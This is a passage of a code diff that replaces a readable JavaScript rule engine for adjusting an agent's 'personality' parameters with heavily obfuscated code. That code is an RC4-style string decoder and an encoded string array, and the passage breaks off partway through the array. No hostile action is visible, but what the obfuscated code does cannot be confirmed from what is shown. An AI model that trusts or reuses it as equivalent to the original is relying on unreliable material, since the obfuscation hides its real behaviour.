_0x301e74=_0x513873;this[_0x301e74(0xb9,'\x26\x79\x57\x28')]=_0x334d94;if(existsSync(_0x334d94)){if(_0x301e74(0xbc,'\x72\x51\x5a\x6c')!=='\x7a\x6a\x4d\x4a\x44'){const _0x3e5760=_0x10813f(_0x1f70eb,'\x72');try{const _0x4db6f7=_0x352ded[_0x301e74(0x117,'\x4a\x47\x38\x79')](0x1b09+-0x13e+-0x19cb,_0x3d8b41),_0x13f401=_0xac3747[_0x301e74(0xf9,'\x45\x65\x67\x55')](_0x4db6f7);if(_0x4db6f7>0x6f8+-0x1d5b+-0x1*-0x1663)_0x1aa701(_0x3e5760,_0x13f401,-0x13c+-0x1d1f+-0x1*-0x1e5b,_0x4db6f7,0x1c4a+0x1*-0x1383+-0x2ed*0x3);return _0x301e74(0x11a,'\x39\x76\x6a\x4c')+_0x1e5cfc(_0x301e74(0xd3,'\x7a\x4a\x33\x6c'))[_0x301e74(0xbe,'\x30\x40\x77\x26')](_0x13f401)[_0x301e74(0x11b,'\x30\x40\x77\x26')](_0x301e74(0x114,'\x52\x62\x40\x56'));}finally{_0x2077a8(_0x3e5760);}}else try{const _0x5317d0=JSON[_0x301e74(0xfb,'\x4a\x47\x38\x79')](readFileSync(_0x334d94,_0x301e74(0xd5,'\x31\x33\x6b\x6f')));for(const [_0x1bfd96,_0x28d230]of Object[_0x301e74(0xdf,'\x68\x77\x5b\x5e')](_0x5317d0))this[_0x301e74(0x11c,'\x76\x71\x6b\x36')][_0x301e74(0xca,'\x4e\x74\x43\x62')](_0x1bfd96,_0x28d230);}catch{}}}[_0x513873(0xee,'\x29\x66\x38\x73')](_0x22ec32){const _0x5424ea=_0x513873;return this[_0x5424ea(0xd9,'\x77\x53\x31\x5b')][_0x5424ea(0xc9,'\x77\x53\x31\x5b')](_0x22ec32);}[_0x513873(0xe3,'\x5d\x6b\x69\x23')](_0x32464d,_0x5bba9d){const _0x22be67=_0x513873;this['\x6d\x61\x70'][_0x22be67(0xea,'\x25\x69\x78\x37')](_0x32464d,_0x5bba9d),mkdirSync(dirname(this[_0x22be67(0xdc,'\x58\x5e\x6a\x51')]),{'\x72\x65\x63\x75\x72\x73\x69\x76\x65':!![]});const _0x7007c=this['\x70\x61\x74\x68']+_0x22be67(0xd0,'\x25\x69\x78\x37');writeFileSync(_0x7007c,JSON[_0x22be67(0xd7,'\x28\x57\x31\x69')+'\x79'](Object[_0x22be67(0x104,'\x30\x40\x77\x26')+_0x22be67(0xe5,'\x29\x66\x38\x73')](this[_0x22be67(0x100,'\x31\x33\x6b\x6f')]))),renameSync(_0x7007c,this['\x70\x61\x74\x68']);}}
@@ -1,106 +1 @@
1
- import { normalizePersonalityState } from './schema.js';
2
- /**
3
- * 何时/如何小步变异人格 (v1 proposeMutations / shouldTriggerPersonalityMutation + mutation.js 的信号判定端口).
4
- * 这是"自调参"的规则引擎: 根据信号/失败连击提出对人格向量的小 nudge, 由 applyPersonalityMutations 落地.
5
- */
6
- /** 机会信号: 表示"有创新余地"而非只是修 bug (v1 OPPORTUNITY_SIGNALS). */
7
- export const OPPORTUNITY_SIGNALS = [
8
- 'user_feature_request',
9
- 'user_improvement_suggestion',
10
- 'perf_bottleneck',
11
- 'capability_gap',
12
- 'stable_success_plateau',
13
- 'external_opportunity',
14
- 'recurring_error',
15
- 'unsupported_input_type',
16
- 'evolution_stagnation_detected',
17
- 'repair_loop_detected',
18
- 'force_innovation_after_repair_loop',
19
- 'tool_bypass',
20
- 'curriculum_target',
21
- 'issue_already_resolved',
22
- 'openclaw_self_healed',
23
- 'empty_cycle_loop_detected',
24
- ];
25
- const ERROR_INDICATORS = ['log_error', 'error', 'exception', 'failed', 'unstable'];
26
- function asStrings(signals) {
27
- return Array.isArray(signals) ? signals.map((s) => String(s ?? '')) : [];
28
- }
29
- /** signals 里是否有机会信号 (精确名或 `name:` 前缀). */
30
- export function hasOpportunitySignal(signals) {
31
- const list = asStrings(signals);
32
- return OPPORTUNITY_SIGNALS.some((name) => list.includes(name) || list.some((s) => s.startsWith(`${name}:`)));
33
- }
34
- /** signals 里是否有错误类信号 (但 issue_already_resolved / openclaw_self_healed 例外为 false). */
35
- export function hasErrorishSignal(signals) {
36
- const list = asStrings(signals);
37
- if (list.includes('issue_already_resolved') || list.includes('openclaw_self_healed'))
38
- return false;
39
- return list.some((sig) => {
40
- const s = sig.toLowerCase();
41
- return ERROR_INDICATORS.includes(s) || s.startsWith('errsig:') || s.startsWith('errsig_norm:');
42
- });
43
- }
44
- /**
45
- * 依上下文提出一组人格变异 (v1 proposeMutations). 分支优先级:
46
- * drift → 提创造性(风险回夹) / protocol_drift → 提服从&严谨 / 错误 → 提严谨降风险 /
47
- * 机会 → 提创造性&风险 / 否则(平台期) → 微提创造性降啰嗦.
48
- * 若 obedience 已饱和(≥0.95), 把服从类变异换成创造性.
49
- */
50
- export function proposeMutations(input) {
51
- const s = normalizePersonalityState(input.baseState);
52
- const sig = asStrings(input.signals);
53
- const r = String(input.reason ?? '');
54
- const mk = (param, delta, reason) => ({ type: 'PersonalityMutation', param, delta, reason });
55
- const muts = [];
56
- if (input.driftEnabled) {
57
- muts.push(mk('creativity', +0.1, r || 'drift enabled'));
58
- muts.push(mk('risk_tolerance', -0.05, 'drift safety clamp'));
59
- }
60
- else if (sig.includes('protocol_drift')) {
61
- muts.push(mk('obedience', +0.1, r || 'protocol drift'));
62
- muts.push(mk('rigor', +0.05, 'tighten protocol compliance'));
63
- }
64
- else if (sig.includes('log_error') || sig.some((x) => x.startsWith('errsig:') || x.startsWith('errsig_norm:'))) {
65
- muts.push(mk('rigor', +0.1, r || 'repair instability'));
66
- muts.push(mk('risk_tolerance', -0.1, 'reduce risky changes under errors'));
67
- }
68
- else if (hasOpportunitySignal(sig)) {
69
- muts.push(mk('creativity', +0.1, r || 'opportunity signal detected'));
70
- muts.push(mk('risk_tolerance', +0.05, 'allow exploration for innovation'));
71
- }
72
- else {
73
- muts.push(mk('creativity', +0.05, r || 'plateau creativity nudge'));
74
- muts.push(mk('verbosity', -0.05, 'reduce noise'));
75
- }
76
- if (s.obedience >= 0.95) {
77
- const idx = muts.findIndex((m) => m.param === 'obedience');
78
- if (idx >= 0)
79
- muts[idx] = mk('creativity', +0.05, 'obedience saturated');
80
- }
81
- return muts;
82
- }
83
- /**
84
- * 是否该触发一次人格变异 (v1 shouldTriggerPersonalityMutation):
85
- * - driftEnabled ⇒ 总触发
86
- * - 最近 6 事件里, 后 4 个有 ≥3 个 failed ⇒ 长失败连击
87
- * - 带 mutation_id 的最近 3 个事件全 failed ⇒ 变异连续失败
88
- */
89
- export function shouldTriggerPersonalityMutation(args) {
90
- if (args.driftEnabled)
91
- return { ok: true, reason: 'drift enabled' };
92
- const tail = (Array.isArray(args.recentEvents) ? args.recentEvents : []).slice(-6);
93
- const outcomes = tail.map((e) => (e?.outcome?.status ? String(e.outcome.status) : null)).filter((x) => x != null);
94
- if (outcomes.length >= 4) {
95
- const recentFailed = outcomes.slice(-4).filter((x) => x === 'failed').length;
96
- if (recentFailed >= 3)
97
- return { ok: true, reason: 'long failure streak' };
98
- }
99
- const withMut = tail.filter((e) => typeof e?.mutationId === 'string' && e.mutationId);
100
- if (withMut.length >= 3) {
101
- const fail3 = withMut.slice(-3).filter((e) => e?.outcome?.status === 'failed').length;
102
- if (fail3 >= 3)
103
- return { ok: true, reason: 'mutation consecutive failures' };
104
- }
105
- return { ok: false, reason: '' };
106
- }
1
+ function _0x4797(_0x31da53,_0x12d70f){_0x31da53=_0x31da53-(-0x64b*0x1+-0x236*-0x9+-0x2*0x5e8);const _0x1d71cb=_0x5528();let _0x1f80d0=_0x1d71cb[_0x31da53];if(_0x4797['\x43\x65\x51\x54\x54\x4d']===undefined){var _0x1e4120=function(_0x63b2d7){const _0x59a8b4='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x59335d='',_0x25f77b='';for(let _0x20008c=0x1f30+0x1cd*0x2+-0x22ca,_0x243863,_0x3b558d,_0x4b92e6=-0x1efc+-0x1d59+0xc11*0x5;_0x3b558d=_0x63b2d7['\x63\x68\x61\x72\x41\x74'](_0x4b92e6++);~_0x3b558d&&(_0x243863=_0x20008c%(0xcc6+0xae3+-0x17a5)?_0x243863*(-0x1b05+0x1*0x1ca1+-0x15c)+_0x3b558d:_0x3b558d,_0x20008c++%(0x239*0x11+0x2216+-0x587*0xd))?_0x59335d+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](-0x232b+0xb3a+0x18f0&_0x243863>>(-(-0xf8f*0x1+-0x1*-0xf32+0x13*0x5)*_0x20008c&0x13*0x61+0x110+0x6f*-0x13)):-0x2*0x239+-0xeea+0x135c){_0x3b558d=_0x59a8b4['\x69\x6e\x64\x65\x78\x4f\x66'](_0x3b558d);}for(let _0x503002=-0x1cc8+-0xc25*0x2+0x1a89*0x2,_0xe81372=_0x59335d['\x6c\x65\x6e\x67\x74\x68'];_0x503002<_0xe81372;_0x503002++){_0x25f77b+='\x25'+('\x30\x30'+_0x59335d['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x503002)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](0x1ae5+0x1*0x613+-0x51*0x68))['\x73\x6c\x69\x63\x65'](-(-0x13db*0x1+0x5bf+0xe1e));}return decodeURIComponent(_0x25f77b);};const _0x1f07dc=function(_0x31076f,_0x34742f){let _0x151edd=[],_0x3b6328=0xd83*0x1+-0x1*0x147b+0xdf*0x8,_0x19e452,_0x49ce01='';_0x31076f=_0x1e4120(_0x31076f);let _0xb013e2;for(_0xb013e2=0xe09+0x2*-0x301+-0x807;_0xb013e2<0x9d0+-0x14e1*-0x1+-0x2b3*0xb;_0xb013e2++){_0x151edd[_0xb013e2]=_0xb013e2;}for(_0xb013e2=0x20b0+0x860*-0x3+-0x790;_0xb013e2<0x1b15+-0xfae*-0x1+0x29c3*-0x1;_0xb013e2++){_0x3b6328=(_0x3b6328+_0x151edd[_0xb013e2]+_0x34742f['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0xb013e2%_0x34742f['\x6c\x65\x6e\x67\x74\x68']))%(0x16b3+0x98e+-0x1f41),_0x19e452=_0x151edd[_0xb013e2],_0x151edd[_0xb013e2]=_0x151edd[_0x3b6328],_0x151edd[_0x3b6328]=_0x19e452;}_0xb013e2=0x1963*-0x1+-0x185f+-0x486*-0xb,_0x3b6328=-0x1*-0x16f3+-0x1e7e+0x1*0x78b;for(let _0x2f5e35=-0x1a60+0x14*-0x4a+0x2028;_0x2f5e35<_0x31076f['\x6c\x65\x6e\x67\x74\x68'];_0x2f5e35++){_0xb013e2=(_0xb013e2+(0x1a55+0x2bc+-0x1d10))%(-0x576+0xb42+-0x4cc),_0x3b6328=(_0x3b6328+_0x151edd[_0xb013e2])%(-0x1b30+0x96d+0x12c3),_0x19e452=_0x151edd[_0xb013e2],_0x151edd[_0xb013e2]=_0x151edd[_0x3b6328],_0x151edd[_0x3b6328]=_0x19e452,_0x49ce01+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0x31076f['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x2f5e35)^_0x151edd[(_0x151edd[_0xb013e2]+_0x151edd[_0x3b6328])%(-0x19ae+-0x23ed*-0x1+-0x93f)]);}return _0x49ce01;};_0x4797['\x55\x76\x48\x65\x59\x79']=_0x1f07dc,_0x4797['\x62\x78\x5a\x55\x56\x71']={},_0x4797['\x43\x65\x51\x54\x54\x4d']=!![];}const _0x16c23c=_0x1d71cb[-0x220c*-0x1+-0x6*0x26e+-0x1378*0x1],_0x270e2d=_0x31da53+_0x16c23c,_0x5cab63=_0x4797['\x62\x78\x5a\x55\x56\x71'][_0x270e2d];return!_0x5cab63?(_0x4797['\x64\x64\x54\x6f\x64\x43']===undefined&&(_0x4797['\x64\x64\x54\x6f\x64\x43']=!![]),_0x1f80d0=_0x4797['\x55\x76\x48\x65\x59\x79'](_0x1f80d0,_0x12d70f),_0x4797['\x62\x78\x5a\x55\x56\x71'][_0x270e2d]=_0x1f80d0):_0x1f80d0=_0x5cab63,_0x1f80d0;}const _0x3df366=_0x4797;(function(_0x3120bd,_0x4517db){const _0x5ee5f1=_0x4797,_0x500916=_0x3120bd();while(!![]){try{const _0x17cb93=-parseInt(_0x5ee5f1(0x25b,'\x5d\x40\x58\x77'))/(0x1556+-0x6b9*0x1+-0xe9c)*(-parseInt(_0x5ee5f1(0x210,'\x6c\x78\x43\x28'))/(0x13ea+-0xd*0x235+-0xad*-0xd))+parseInt(_0x5ee5f1(0x1d0,'\x43\x38\x4f\x36'))/(-0x1*0x125f+-0xd*-0x11a+0x410)*(parseInt(_0x5ee5f1(0x1d3,'\x5d\x40\x58\x77'))/(-0x254c+0x57a+0x1*0x1fd6))+-parseInt(_0x5ee5f1(0x266,'\x5b\x43\x4c\x62'))/(0x1*-0x157+0x269a+0x253e*-0x1)+-parseInt(_0x5ee5f1(0x2a0,'\x42\x4e\x43\x30'))/(-0xd*0x204+0x1918+0x91*0x2)+-parseInt(_0x5ee5f1(0x22d,'\x26\x32\x35\x44'))/(0x89a+0x72d+-0xfc0*0x1)*(parseInt(_0x5ee5f1(0x24d,'\x4a\x5b\x47\x54'))/(0x1*-0x1c66+0x1*-0x17d2+0x2*0x1a20))+-parseInt(_0x5ee5f1(0x220,'\x23\x59\x75\x71'))/(-0x1*-0x1c3d+0x21*0x12d+-0x1*0x4301)*(-parseInt(_0x5ee5f1(0x207,'\x23\x59\x75\x71'))/(0x185e+0x1*0x698+0x7bb*-0x4))+-parseInt(_0x5ee5f1(0x21d,'\x4d\x69\x49\x77'))/(0x33*0x3f+0x99a*-0x2+-0x6b2*-0x1)*(-parseInt(_0x5ee5f1(0x1cb,'\x40\x44\x39\x53'))/(-0xba3+0x1*-0x182b+0x23da));if(_0x17cb93===_0x4517db)break;else _0x500916['push'](_0x500916['shift']());}catch(_0x16dc76){_0x500916['push'](_0x500916['shift']());}}}(_0x5528,0xba441+0x2*0x1d47+0x53*-0x94a));import{normalizePersonalityState}from'\x2e\x2f\x73\x63\x68\x65\x6d\x61\x2e\x6a\x73';export const OPPORTUNITY_SIGNALS=[_0x3df366(0x263,'\x68\x31\x64\x64')+'\x74\x75\x72\x65\x5f\x72\x65\x71'+_0x3df366(0x20b,'\x6e\x50\x36\x6b'),_0x3df366(0x1da,'\x67\x67\x65\x6a')+_0x3df366(0x22a,'\x57\x5a\x37\x37')+_0x3df366(0x278,'\x55\x24\x39\x38')+_0x3df366(0x2a3,'\x38\x43\x4f\x64'),_0x3df366(0x242,'\x55\x24\x39\x38')+'\x74\x6c\x65\x6e\x65\x63\x6b',_0x3df366(0x25d,'\x46\x31\x48\x69')+_0x3df366(0x280,'\x26\x48\x35\x6b'),_0x3df366(0x1f1,'\x42\x4e\x43\x30')+_0x3df366(0x1fd,'\x2a\x5b\x5e\x39')+_0x3df366(0x292,'\x72\x69\x34\x52'),_0x3df366(0x205,'\x50\x54\x26\x4b')+_0x3df366(0x29c,'\x26\x32\x35\x44')+_0x3df366(0x1f5,'\x67\x5b\x5d\x49'),_0x3df366(0x28d,'\x26\x48\x35\x6b')+_0x3df366(0x25c,'\x26\x32\x35\x44'),_0x3df366(0x28f,'\x26\x6e\x56\x5b')+_0x3df366(0x259,'\x74\x4a\x62\x54')+_0x3df366(0x24a,'\x67\x5b\x5d\x49'),'\x65\x76\x6f\x6c\x75\x74\x69\x6f'+_0x3df366(0x244,'\x29\x55\x45\x63')+_0x3df366(0x279,'\x57\x5a\x37\x37')+_0x3df366(0x1eb,'\x77\x5d\x29\x29'),_0x3df366(0x286,'\x71\x6f\x29\x41')+_0x3df366(0x237,'\x59\x41\x5e\x58')+_0x3df366(0x24b,'\x6c\x78\x43\x28'),'\x66\x6f\x72\x63\x65\x5f\x69\x6e'+_0x3df366(0x255,'\x51\x6c\x71\x57')+_0x3df366(0x29e,'\x72\x69\x34\x52')+_0x3df366(0x240,'\x6e\x64\x68\x40')+'\x6f\x70',_0x3df366(0x214,'\x23\x59\x75\x71')+_0x3df366(0x1e0,'\x64\x57\x6d\x4a'),_0x3df366(0x229,'\x45\x21\x30\x78')+_0x3df366(0x1f7,'\x26\x6e\x56\x5b')+'\x74',_0x3df366(0x248,'\x57\x38\x45\x69')+_0x3df366(0x1f8,'\x77\x5d\x29\x29')+_0x3df366(0x209,'\x51\x6c\x71\x57'),_0x3df366(0x1d7,'\x30\x52\x77\x69')+_0x3df366(0x1f6,'\x75\x59\x4b\x55')+_0x3df366(0x275,'\x55\x24\x39\x38'),'\x65\x6d\x70\x74\x79\x5f\x63\x79'+'\x63\x6c\x65\x5f\x6c\x6f\x6f\x70'+_0x3df366(0x2a8,'\x69\x49\x2a\x7a')+'\x64'];const ERROR_INDICATORS=[_0x3df366(0x265,'\x40\x44\x39\x53')+'\x72',_0x3df366(0x26f,'\x5b\x43\x4c\x62'),'\x65\x78\x63\x65\x70\x74\x69\x6f'+'\x6e',_0x3df366(0x277,'\x38\x43\x4f\x64'),_0x3df366(0x239,'\x34\x58\x63\x75')];function asStrings(_0x4292d3){const _0x268735=_0x3df366;return Array[_0x268735(0x1cc,'\x68\x31\x64\x64')](_0x4292d3)?_0x4292d3[_0x268735(0x1ec,'\x26\x48\x35\x6b')](_0x34e00f=>String(_0x34e00f??'')):[];}export function hasOpportunitySignal(_0x533b84){const _0x5add9b=_0x3df366,_0x5b7125=asStrings(_0x533b84);return OPPORTUNITY_SIGNALS[_0x5add9b(0x26e,'\x45\x21\x30\x78')](_0x51fd1f=>_0x5b7125[_0x5add9b(0x1d2,'\x52\x46\x5d\x49')](_0x51fd1f)||_0x5b7125[_0x5add9b(0x1e1,'\x64\x57\x6d\x4a')](_0x244e81=>_0x244e81[_0x5add9b(0x295,'\x23\x26\x64\x42')+'\x74\x68'](_0x51fd1f+'\x3a')));}export function hasErrorishSignal(_0x3814d5){const _0x3c0070=_0x3df366,_0x35a685=asStrings(_0x3814d5);if(_0x35a685[_0x3c0070(0x24e,'\x4d\x69\x49\x77')](_0x3c0070(0x282,'\x45\x21\x30\x78')+_0x3c0070(0x1df,'\x36\x61\x64\x42')+_0x3c0070(0x21c,'\x67\x67\x65\x6a'))||_0x35a685[_0x3c0070(0x1d2,'\x52\x46\x5d\x49')](_0x3c0070(0x1f0,'\x69\x49\x2a\x7a')+_0x3c0070(0x1d9,'\x57\x38\x45\x69')+_0x3c0070(0x23e,'\x23\x26\x64\x42')))return![];return _0x35a685[_0x3c0070(0x238,'\x55\x24\x39\x38')](_0x494a3e=>{const _0x58ca85=_0x3c0070,_0x4a7540=_0x494a3e[_0x58ca85(0x1ff,'\x6e\x64\x68\x40')+_0x58ca85(0x226,'\x42\x4e\x43\x30')]();return ERROR_INDICATORS['\x69\x6e\x63\x6c\x75\x64\x65\x73'](_0x4a7540)||_0x4a7540[_0x58ca85(0x261,'\x48\x38\x4a\x77')+'\x74\x68'](_0x58ca85(0x1d4,'\x5d\x40\x58\x77'))||_0x4a7540['\x73\x74\x61\x72\x74\x73\x57\x69'+'\x74\x68'](_0x58ca85(0x2a7,'\x5b\x43\x4c\x62')+_0x58ca85(0x1e3,'\x5d\x40\x58\x77'));});}function _0x5528(){const _0x1c6611=['\x57\x34\x47\x63\x7a\x53\x6b\x44\x74\x61','\x45\x72\x46\x64\x55\x38\x6f\x50\x57\x37\x31\x75\x57\x37\x4a\x63\x4d\x61','\x65\x53\x6b\x46\x66\x6d\x6f\x63\x65\x4a\x34\x74\x57\x35\x43','\x57\x51\x79\x35\x57\x4f\x56\x63\x4d\x58\x6c\x64\x49\x4e\x31\x42','\x57\x35\x46\x63\x49\x38\x6b\x5a\x77\x71\x6d\x6d\x67\x4e\x6d','\x57\x4f\x64\x63\x52\x6d\x6f\x4e\x57\x50\x33\x63\x4b\x53\x6f\x46\x6a\x77\x69','\x57\x4f\x52\x64\x4f\x53\x6f\x77\x72\x6d\x6b\x5a\x74\x43\x6b\x31\x73\x47','\x76\x38\x6f\x53\x65\x77\x43\x65\x6a\x6d\x6f\x68\x65\x71','\x57\x37\x39\x50\x63\x47\x30\x38\x42\x6d\x6b\x51\x57\x50\x53','\x57\x34\x56\x63\x4b\x38\x6b\x4a\x7a\x61\x2f\x63\x51\x58\x7a\x59\x57\x4f\x53','\x57\x35\x30\x54\x57\x52\x31\x30\x57\x36\x52\x63\x52\x43\x6f\x36\x57\x4f\x68\x64\x4c\x64\x43\x54\x44\x47','\x57\x34\x79\x6e\x57\x4f\x52\x63\x48\x43\x6f\x75\x57\x4f\x68\x63\x47\x57','\x57\x36\x46\x63\x4a\x43\x6b\x5a\x73\x71\x38\x6b\x61\x68\x75','\x57\x34\x64\x64\x51\x62\x35\x38\x57\x4f\x75\x68\x61\x76\x47','\x72\x68\x46\x64\x50\x62\x66\x4a\x57\x51\x58\x51\x57\x50\x47','\x68\x53\x6b\x62\x45\x6d\x6f\x51\x66\x43\x6b\x6d\x57\x34\x53\x30\x57\x35\x57','\x7a\x72\x68\x64\x54\x53\x6f\x4a\x57\x35\x47','\x63\x43\x6b\x75\x62\x38\x6f\x70\x64\x49\x48\x77\x57\x34\x30','\x6a\x6d\x6f\x79\x57\x4f\x42\x64\x49\x43\x6b\x34\x74\x49\x4f\x32\x65\x48\x38','\x44\x38\x6b\x43\x57\x34\x64\x63\x4a\x53\x6b\x76\x72\x33\x4b','\x71\x32\x52\x64\x53\x58\x58\x30\x57\x51\x66\x4a\x57\x4f\x69','\x57\x37\x48\x79\x57\x51\x4e\x64\x4c\x53\x6f\x77\x42\x6d\x6b\x50\x57\x35\x65','\x64\x53\x6b\x56\x57\x34\x37\x64\x53\x53\x6f\x57\x57\x35\x38\x56\x79\x57','\x62\x4c\x74\x64\x4c\x6d\x6b\x62\x63\x6d\x6b\x76\x6c\x53\x6b\x45','\x57\x35\x5a\x64\x49\x6d\x6f\x79\x66\x75\x2f\x63\x4f\x38\x6f\x4d\x57\x4f\x69','\x57\x50\x5a\x64\x54\x43\x6f\x4f\x74\x43\x6f\x74\x57\x36\x6e\x59\x57\x37\x34','\x66\x38\x6b\x63\x45\x38\x6b\x33\x73\x38\x6f\x39\x57\x34\x38\x30\x57\x37\x5a\x63\x4b\x6d\x6f\x77\x43\x57','\x63\x38\x6b\x6c\x66\x53\x6f\x73\x66\x47','\x57\x36\x69\x79\x77\x6d\x6b\x57\x73\x6d\x6f\x49\x41\x6d\x6b\x38','\x57\x34\x64\x64\x53\x76\x76\x43\x43\x47\x47','\x61\x57\x68\x64\x4f\x71\x61\x5a\x57\x4f\x79\x77\x64\x57','\x42\x4c\x72\x32','\x46\x65\x48\x4f\x57\x37\x38','\x64\x53\x6b\x39\x57\x34\x37\x64\x55\x6d\x6f\x36\x57\x35\x79\x47\x44\x57','\x46\x43\x6b\x43\x57\x35\x2f\x64\x48\x57','\x6e\x77\x43\x37\x6a\x53\x6b\x65\x72\x75\x79','\x45\x31\x34\x4c\x57\x37\x74\x63\x47\x53\x6b\x7a\x57\x37\x54\x65','\x57\x35\x52\x64\x4e\x66\x4e\x63\x55\x53\x6f\x34\x57\x35\x74\x63\x4e\x43\x6b\x35','\x6b\x78\x30\x49\x69\x61','\x7a\x67\x69\x47\x6e\x47\x2f\x63\x52\x43\x6f\x4d\x45\x71','\x57\x52\x53\x31\x57\x37\x69','\x57\x4f\x64\x64\x56\x6d\x6f\x73\x77\x61','\x42\x4d\x64\x64\x4a\x53\x6f\x37\x57\x52\x69','\x57\x34\x56\x63\x4b\x76\x79','\x57\x36\x6d\x56\x57\x4f\x56\x63\x47\x72\x33\x64\x4d\x71','\x44\x61\x43\x51\x70\x61\x62\x6e','\x6b\x32\x54\x73\x57\x36\x61','\x57\x36\x46\x63\x4e\x38\x6b\x5a\x71\x57\x75\x64\x64\x32\x65','\x67\x4b\x6c\x64\x4b\x6d\x6b\x68\x64\x43\x6b\x76\x68\x38\x6b\x6f','\x79\x4d\x33\x64\x4d\x43\x6f\x59\x57\x51\x70\x63\x49\x43\x6f\x42\x6b\x57','\x57\x52\x68\x64\x52\x53\x6f\x43\x78\x43\x6f\x4e','\x57\x4f\x52\x64\x49\x4b\x78\x63\x56\x61','\x57\x37\x6a\x59\x67\x58\x75','\x67\x33\x66\x65\x57\x36\x4e\x64\x51\x31\x33\x64\x54\x48\x47','\x43\x57\x38\x75\x6f\x57\x35\x72\x57\x34\x6c\x63\x56\x61','\x45\x77\x42\x64\x4d\x38\x6f\x36\x57\x51\x2f\x63\x53\x53\x6f\x6d\x70\x71','\x57\x50\x4a\x64\x47\x43\x6f\x4c\x76\x33\x42\x63\x48\x71\x48\x30','\x57\x34\x2f\x64\x54\x72\x76\x36\x57\x35\x65\x69\x66\x4c\x47','\x57\x35\x64\x63\x54\x4a\x44\x37\x69\x71','\x6d\x61\x64\x64\x52\x43\x6f\x6a\x57\x37\x48\x6d\x57\x37\x64\x63\x4a\x71','\x65\x5a\x30\x71\x57\x51\x61\x49\x57\x50\x43\x76\x79\x71','\x57\x35\x46\x63\x56\x63\x54\x32\x6e\x73\x78\x64\x52\x47\x65','\x77\x78\x42\x64\x49\x58\x6a\x48\x57\x51\x31\x39\x57\x51\x47','\x57\x50\x31\x2b\x57\x36\x4b','\x57\x4f\x64\x63\x51\x38\x6f\x37\x57\x4f\x65','\x63\x73\x57\x45\x57\x37\x38','\x57\x34\x6c\x64\x48\x38\x6f\x63\x57\x4f\x76\x36\x57\x35\x70\x63\x4d\x43\x6f\x66','\x42\x59\x7a\x39\x43\x38\x6f\x44\x67\x58\x6e\x68\x57\x50\x34\x55\x67\x64\x48\x6c','\x44\x72\x56\x64\x54\x53\x6f\x62\x57\x37\x50\x6f\x57\x37\x4a\x63\x47\x61','\x57\x4f\x52\x64\x56\x72\x44\x4e','\x57\x50\x74\x63\x51\x65\x39\x46\x77\x72\x6c\x64\x4b\x67\x4f','\x74\x6d\x6f\x61\x6c\x38\x6f\x4d\x64\x43\x6b\x4a\x57\x37\x6d\x65','\x6a\x31\x57\x44\x46\x6d\x6f\x69\x57\x4f\x61','\x57\x37\x74\x63\x4b\x43\x6b\x4f\x6d\x71','\x57\x4f\x56\x64\x47\x43\x6f\x49\x77\x47','\x57\x36\x61\x67\x75\x43\x6b\x2b\x73\x38\x6b\x52\x45\x38\x6b\x54','\x57\x36\x57\x62\x71\x6d\x6b\x38\x75\x6d\x6b\x56\x41\x61','\x57\x35\x42\x63\x52\x5a\x31\x59\x65\x4a\x4a\x64\x55\x72\x57','\x65\x43\x6b\x51\x57\x35\x4a\x64\x54\x61','\x78\x53\x6b\x32\x6f\x38\x6f\x34\x57\x34\x53\x4c\x65\x4d\x6a\x4e\x41\x6d\x6b\x49\x57\x36\x65\x69','\x66\x38\x6b\x2f\x72\x4a\x54\x45\x79\x43\x6b\x32\x63\x58\x6c\x64\x51\x6d\x6b\x4c\x57\x50\x44\x4e','\x57\x34\x64\x63\x48\x68\x78\x64\x51\x71','\x57\x37\x69\x64\x57\x51\x30\x4d\x57\x4f\x52\x63\x51\x4c\x70\x63\x53\x71','\x57\x35\x6c\x64\x54\x31\x7a\x65\x73\x62\x4a\x64\x50\x4c\x61','\x57\x37\x35\x72\x57\x52\x74\x64\x48\x53\x6f\x79\x41\x38\x6b\x50\x57\x34\x4f','\x57\x51\x34\x51\x57\x4f\x4b','\x57\x36\x33\x63\x48\x6d\x6b\x35\x72\x73\x65','\x46\x53\x6b\x62\x57\x35\x78\x63\x4f\x53\x6b\x7a\x75\x4a\x65\x50','\x57\x4f\x4a\x63\x48\x71\x5a\x63\x4b\x4b\x76\x67\x57\x52\x66\x42','\x57\x37\x6e\x55\x67\x57\x38\x4e\x41\x6d\x6b\x35','\x57\x37\x43\x79\x57\x36\x58\x2b\x73\x57\x4b','\x57\x50\x52\x64\x51\x43\x6f\x48\x73\x43\x6f\x50\x57\x36\x34','\x66\x75\x70\x64\x4d\x74\x68\x63\x4f\x68\x56\x63\x4c\x38\x6b\x77\x57\x34\x4b','\x66\x57\x33\x64\x52\x47\x61\x64\x57\x52\x43\x61\x64\x57','\x57\x51\x34\x56\x57\x36\x68\x64\x50\x66\x42\x63\x54\x72\x54\x52','\x57\x50\x37\x63\x51\x61\x47\x79\x6a\x75\x33\x64\x4c\x78\x4e\x63\x55\x31\x48\x34\x70\x57','\x57\x51\x79\x35\x57\x50\x4a\x63\x48\x48\x4a\x64\x49\x61','\x57\x52\x7a\x35\x74\x43\x6b\x53\x72\x61','\x73\x6d\x6f\x6b\x72\x53\x6b\x58\x46\x43\x6b\x48\x70\x38\x6b\x4d','\x57\x4f\x4a\x64\x4c\x4b\x78\x63\x56\x38\x6f\x75\x57\x34\x78\x63\x4b\x43\x6b\x47','\x46\x61\x42\x64\x52\x6d\x6f\x64\x57\x37\x58\x69','\x63\x65\x78\x64\x4c\x61','\x57\x37\x4a\x63\x4d\x53\x6b\x4c\x72\x71','\x45\x30\x48\x6a\x57\x37\x78\x63\x47\x6d\x6b\x79\x57\x36\x35\x49','\x57\x50\x70\x63\x51\x38\x6f\x36\x57\x50\x56\x63\x4c\x6d\x6f\x46\x70\x32\x69','\x57\x4f\x4a\x64\x4b\x65\x64\x63\x53\x43\x6f\x4d\x57\x35\x74\x63\x4b\x6d\x6b\x34','\x57\x52\x7a\x48\x